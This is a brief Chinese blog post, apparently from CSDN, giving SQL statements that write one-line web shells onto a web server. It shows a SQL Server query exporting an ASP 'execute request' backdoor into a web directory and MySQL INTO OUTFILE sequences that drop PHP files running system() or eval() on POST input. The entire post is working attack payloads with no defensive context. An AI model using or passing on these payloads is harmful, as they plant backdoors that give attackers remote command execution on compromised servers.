转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85296880
1、SQLServer执行SQL语句生成一句话
select '<%execute request("a")%>' into [NB_master] in 'd:\wwwroot\x.asp;a.xls''excel 8.0;' from NB_master;
NB_master必须是已经存在的表
2、MySQL执行SQL语句生成一句话
select "<?php @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.php";
完整执行如下:
create table a (cmd text not null);
insert into a(cmd) values('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '网站可写路径/一句话马名.php';
drop table if exists a;